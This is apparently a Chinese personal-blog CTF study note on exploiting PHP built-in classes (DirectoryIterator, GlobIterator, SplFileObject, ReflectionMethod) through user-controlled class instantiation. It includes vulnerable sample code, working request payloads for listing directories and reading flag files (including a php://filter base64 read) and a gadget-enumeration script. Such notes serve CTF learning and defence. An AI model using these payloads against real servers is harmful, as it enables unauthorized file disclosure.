关于PHP原生类的利用

文章摘要

Bpple-GPT

PHP原生类的利用

PHP原生类的利用目录读取原生类DirectoryIterator类主要题目形式如下:$a($b);解题思路:例子FilesystemIterator类例子GlobIterator类例子文件读取原生类SplFileInfo类SplFileObject类主要题目形式例子获取其他信息类ReflectionMethod类本地测试题目例子其他PHP所有原生类列出所有原生类所有原生类名称

这两天做题的时候,发现有几处原生类的利用,由于之前没有接触过,这次好好学习一下

目录读取原生类

DirectoryIterator类

反正从名字上看是“目录迭代器”

主要题目形式如下:$a($b);

 <?php
 $a = $_GET['a'];
 $b = $_GET['b'];
 echo new $a($b);
 ?>

解题思路:

$a 传递 DirectoryIterator

$b 传递 文件路径

同时主要可以利用 glob://协议

  • glob:///* 即可列出根目录下的文件
  • glob:///* 即可列出根目录下的文件

例子

 <?php
 $dir = new DirectoryIterator('E:\untitled1');
 ​
 foreach ($dir as $fileinfo) {
     if ($fileinfo->isDot()) {
         continue;
     }
     echo "Name: " . $fileinfo->getFilename() . "\n";
     echo "Type: " . ($fileinfo->isDir() ? 'Directory' : 'File') . "\n";
     echo "Size: " . $fileinfo->getSize() . " bytes\n";
     echo "Last Modified: " . date('Y-m-d H:i:s', $fileinfo->getMTime()) . "\n";
     echo "-------------------------\n";
 }
 ?>

image-20240921141616792

FilesystemIterator类

继承于 Directorylterator类,用法基本相同

**总的来说:它是 **DirectoryIterator 的一个更高级的版本。

 $iterator = new FilesystemIterator('/path/to/directory');
 foreach ($iterator as $fileinfo) {
     echo $fileinfo->getFilename() . "\n";
 }

例子

 <?php
 highlight_file('index.php');
 # 我把flag藏在一个secret文件夹里面了,所以要学会遍历啊~
 error_reporting(0);
 $J1ng = $_POST['J'];
 $Hong = $_POST['H'];
 $Keng = $_GET['K'];
 $Wang = $_GET['W'];
 $dir = new $Keng($Wang);
 foreach($dir as $f) {
     echo($f . '<br>');
 }
 echo new $J1ng($Hong);
 ?>

做法

 ?K=FilesystemIterator&W=/secret/

image-20240921142909738

GlobIterator类

**概述: **GlobIterator 是 PHP 的 SPL(标准 PHP 库)中的一个类,它继承自 FilesystemIterator。这个类使用 glob 模式来选择文件系统中的文件和目录

 $iterator = new GlobIterator('/path/to/directory/*.txt');
 foreach ($iterator as $fileinfo) {
     echo $fileinfo->getFilename() . "\n";
 }

例子

 <?php
 highlight_file('index.php');
 # 我把flag藏在一个secret文件夹里面了,所以要学会遍历啊~
 error_reporting(0);
 $J1ng = $_POST['J'];
 $Hong = $_POST['H'];
 $Keng = $_GET['K'];
 $Wang = $_GET['W'];
 $dir = new $Keng($Wang);
 foreach($dir as $f) {
     echo($f . '<br>');
 }
 echo new $J1ng($Hong);
 ?>

做法和上两个基本一致:

 ?K=GlobIterator&W=/secret/f*

image-20240921143123902

文件读取原生类

SplFileInfo类

SplFileInfo 类提供了一个面向对象的接口来获取文件的信息。它是许多其他 SPL 文件系统类的基础,如 DirectoryIterator 和 FilesystemIterator。

$file = new SplFileInfo('/path/to/file.txt');
echo $file->getFilename(); // 输出: file.txt

值得注意的是

SplFileInfo 的局限性: SplFileInfo 主要用于获取文件的元数据(如文件名、大小、权限等),而不是直接读取文件内容。

//例子
<?php
$file = new SplFileInfo('E:\untitled1\flag.php');

echo "File: " . $file->getFilename() . "\n";
echo "Size: " . $file->getSize() . " bytes\n";
echo "Last modified: " . date('Y-m-d H:i:s', $file->getMTime()) . "\n";
echo "Permissions: " . substr(sprintf('%o', $file->getPerms()), -4) . "\n";
echo "Is readable: " . ($file->isReadable() ? 'Yes' : 'No') . "\n";
echo "Is writable: " . ($file->isWritable() ? 'Yes' : 'No') . "\n";

image-20240921144926098

SplFileObject类

主要用于读取文件的内容

主要题目形式

echo new $a($b);
#echo触发SplFileObject中的__toString()方法
#需要注意一点
#该类不支持通配符,所以必须先获取到完整文件名称才行

例子

<?php
highlight_file('index.php');
# 我把flag藏在一个secret文件夹里面了,所以要学会遍历啊~
error_reporting(0);
$J1ng = $_POST['J'];
$Hong = $_POST['H'];
$Keng = $_GET['K'];
$Wang = $_GET['W'];
$dir = new $Keng($Wang);
foreach($dir as $f) {
    echo($f . '<br>');
}
echo new $J1ng($Hong);
?>

做法:

J=SplFileObject&H=/secret/f11444g.php

看了资料获知:除此之外其实 SplFileObject类,只能读取文件的第一行内容,如果想要全部读取就需要用到foreach函数,但若题目中没有给出foreach函数的话,就要用伪协议读取文件的内容

采用伪协议:

J=SplFileObject&H=php://filter/read=convert.base64-encode/resource=/secret/f11444g.php

获取其他信息类

ReflectionMethod类

ReflectionFunctionAbstract类中的getDocComment方法可以访问到注释的内容

语法:

$reflectionMethod = new ReflectionMethod('ClassName', 'methodName');
// 或者
$reflectionMethod = new ReflectionMethod($object, 'methodName');

本地测试

<?php
class test
{
    public $a;
    /**
     * 注释内容第一行
     * 注释第二行
     * demo-one
     */

    //你好
    public function getA()
    {
        return $this->a;
    }

    /**
     * 注释内容第一行
     * 注释第二行
     * demo-two
     */
    public function setA($a){
        $this->a = $a;
    }

}
$b = new ReflectionMethod('test','getA');//第一个参数填需要读取注释的类名,第二个参数填类里面的函数名
echo $b->getDocComment();
?>

结果为:

/**
     * 注释内容第一行
     * 注释第二行
     * demo-one
     */

这里我其实并不明白这个怎么找到这个注释,怎么确定这个就是这个方法的注释的

问了一下Claude

PHP 中的文档注释(DocBlock)并不是由 PHP 解释器直接解析的。相反,它们是由专门的文档生成工具或 IDE 来解析和使用的。这些工具通过一些约定和规则来识别和关联注释与代码元素。以下是一些关键点:

  1. 位置:文档注释通常直接位于它所描述的代码元素(如函数、类、方法等)之前。
  2. 格式:文档注释以 /** 开始,以 */ 结束,每行通常以 * 开头。
  3. 标签:使用特定的标签(如 @param, @return 等)来提供结构化信息。
  4. 关联:工具通过注释的位置和内容来推断它与哪个代码元素相关。

例如:

/**
 * 获取A的值
 * 
 * @return int A的值
 */
function getA() {
    return 42;
}

在这个例子中:

  • **文档生成工具或 IDE 会看到这个注释直接位于 **getA() 函数之前。
  • 注释的格式符合 DocBlock 的标准。
  • 注释的内容描述了函数的行为和返回值。

**基于这些信息,工具可以推断这个注释是描述 **getA() 函数的。

重要的是要理解,PHP 本身并不"判断"这个注释属于哪个函数。这个关联是由外部工具(如 PHPDocumentor、IDE 等)根据约定和上下文来确定的。这就是为什么保持良好的注释习惯和遵循标准格式如此重要,因为它能确保这些工具正确理解和使用你的注释。

题目例子

[2021 CISCN]easy_source

https://r0yanx.com/2020/10/28/fslh-writeup/

<?php
class User
{
    private static $c = 0;

    function a()
    {
        return ++self::$c;
    }

    function b()
    {
        return ++self::$c;
    }

    function c()
    {
        return ++self::$c;
    }

    function d()
    {
        return ++self::$c;
    }

    function e()
    {
        return ++self::$c;
    }

    function f()
    {
        return ++self::$c;
    }

    function g()
    {
        return ++self::$c;
    }

    function h()
    {
        return ++self::$c;
    }

    function i()
    {
        return ++self::$c;
    }

    function j()
    {
        return ++self::$c;
    }

    function k()
    {
        return ++self::$c;
    }

    function l()
    {
        return ++self::$c;
    }

    function m()
    {
        return ++self::$c;
    }

    function n()
    {
        return ++self::$c;
    }

    function o()
    {
        return ++self::$c;
    }

    function p()
    {
        return ++self::$c;
    }

    function q()
    {
        return ++self::$c;
    }

    function r()
    {
        return ++self::$c;
    }

    function s()
    {
        return ++self::$c;
    }

    function t()
    {
        return ++self::$c;
    }

}

$rc=$_GET["rc"];    // 传入原生类名
$rb=$_GET["rb"];    // 传入类属性
$ra=$_GET["ra"];    // 传入类属性
$rd=$_GET["rd"];    // 传入类方法
$method= new $rc($ra, $rb);    // 实例化刚才传入的原生类
var_dump($method->$rd());     // 调用类中的方法

做法:

?rc=ReflectionMethod&ra=User&rb=a&rd=getDocComment

其他

PHP所有原生类

列出所有原生类

<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
    $methods = get_class_methods($class);
    foreach ($methods as $method) {
        if (in_array($method, array(
            '__destruct',
            '__toString',
            '__wakeup',
            '__call',
            '__callStatic',
            '__get',
            '__set',
            '__isset',
            '__unset',
            '__invoke',
            'open',
            '__set_state'    // 可以根据题目环境将指定的方法添加进来, 来遍历存在指定方法的原生类
        ))) {
            print $class . '::' . $method . "\n";
        }
    }
}

所有原生类名称

输出结果如下:

Exception::__wakeup
Exception::__toString
ErrorException::__wakeup
ErrorException::__toString
Error::__wakeup
Error::__toString
CompileError::__wakeup
CompileError::__toString
ParseError::__wakeup
ParseError::__toString
TypeError::__wakeup
TypeError::__toString
ArgumentCountError::__wakeup
ArgumentCountError::__toString
ValueError::__wakeup
ValueError::__toString
ArithmeticError::__wakeup
ArithmeticError::__toString
DivisionByZeroError::__wakeup
DivisionByZeroError::__toString
UnhandledMatchError::__wakeup
UnhandledMatchError::__toString
ClosedGeneratorException::__wakeup
ClosedGeneratorException::__toString
FiberError::__wakeup
FiberError::__toString
DateTime::__wakeup
DateTime::__set_state
DateTimeImmutable::__wakeup
DateTimeImmutable::__set_state
DateTimeZone::__wakeup
DateTimeZone::__set_state
DateInterval::__wakeup
DateInterval::__set_state
DatePeriod::__wakeup
DatePeriod::__set_state
JsonException::__wakeup
JsonException::__toString
LogicException::__wakeup
LogicException::__toString
BadFunctionCallException::__wakeup
BadFunctionCallException::__toString
BadMethodCallException::__wakeup
BadMethodCallException::__toString
DomainException::__wakeup
DomainException::__toString
InvalidArgumentException::__wakeup
InvalidArgumentException::__toString
LengthException::__wakeup
LengthException::__toString
OutOfRangeException::__wakeup
OutOfRangeException::__toString
RuntimeException::__wakeup
RuntimeException::__toString
OutOfBoundsException::__wakeup
OutOfBoundsException::__toString
OverflowException::__wakeup
OverflowException::__toString
RangeException::__wakeup
RangeException::__toString
UnderflowException::__wakeup
UnderflowException::__toString
UnexpectedValueException::__wakeup
UnexpectedValueException::__toString
CachingIterator::__toString
RecursiveCachingIterator::__toString
SplFileInfo::__toString
DirectoryIterator::__toString
FilesystemIterator::__toString
RecursiveDirectoryIterator::__toString
GlobIterator::__toString
SplFileObject::__toString
SplTempFileObject::__toString
SplFixedArray::__wakeup
Random\RandomError::__wakeup
Random\RandomError::__toString
Random\BrokenRandomEngineError::__wakeup
Random\BrokenRandomEngineError::__toString
Random\RandomException::__wakeup
Random\RandomException::__toString
ReflectionException::__wakeup
ReflectionException::__toString
ReflectionFunctionAbstract::__toString
ReflectionFunction::__toString
ReflectionParameter::__toString
ReflectionType::__toString
ReflectionNamedType::__toString
ReflectionUnionType::__toString
ReflectionIntersectionType::__toString
ReflectionMethod::__toString
ReflectionClass::__toString
ReflectionObject::__toString
ReflectionProperty::__toString
ReflectionClassConstant::__toString
ReflectionExtension::__toString
ReflectionZendExtension::__toString
ReflectionAttribute::__toString
ReflectionEnum::__toString
ReflectionEnumUnitCase::__toString
ReflectionEnumBackedCase::__toString
SessionHandler::open
AssertionError::__wakeup
AssertionError::__toString
PhpToken::__toString
DOMException::__wakeup
DOMException::__toString
PDOException::__wakeup
PDOException::__toString
PharException::__wakeup
PharException::__toString
Phar::__destruct
Phar::__toString
PharData::__destruct
PharData::__toString
PharFileInfo::__destruct
PharFileInfo::__toString
SimpleXMLElement::__toString
SimpleXMLIterator::__toString
XMLReader::open

用键盘敲击出的不只是字符,更是一段段生活的剪影、一个个心底的梦想。希望我的文字能像一束光,在您阅读的瞬间,照亮某个角落,带来一丝温暖与共鸣。

BX33661

isfp 探险家

站长

不具版权性
不具时效性

文章内容不具时效性。若文章内容有错误之处,请您批评指正。


目录

欢迎来到Bpple的站点,为您导航全站动态

65 文章数
20 分类数
44 评论数
15标签数
最近评论
bpple

bpple


一切顺利

fetain

fetain


good luck

bx

bx


good luck

热门文章

Emoji收集

2024-11-01

551
Hello Halo

2024-10-30

532
本地部署LLM

2024-08-22

511
Uptime Kuma

2024-11-29

507
241

访问统计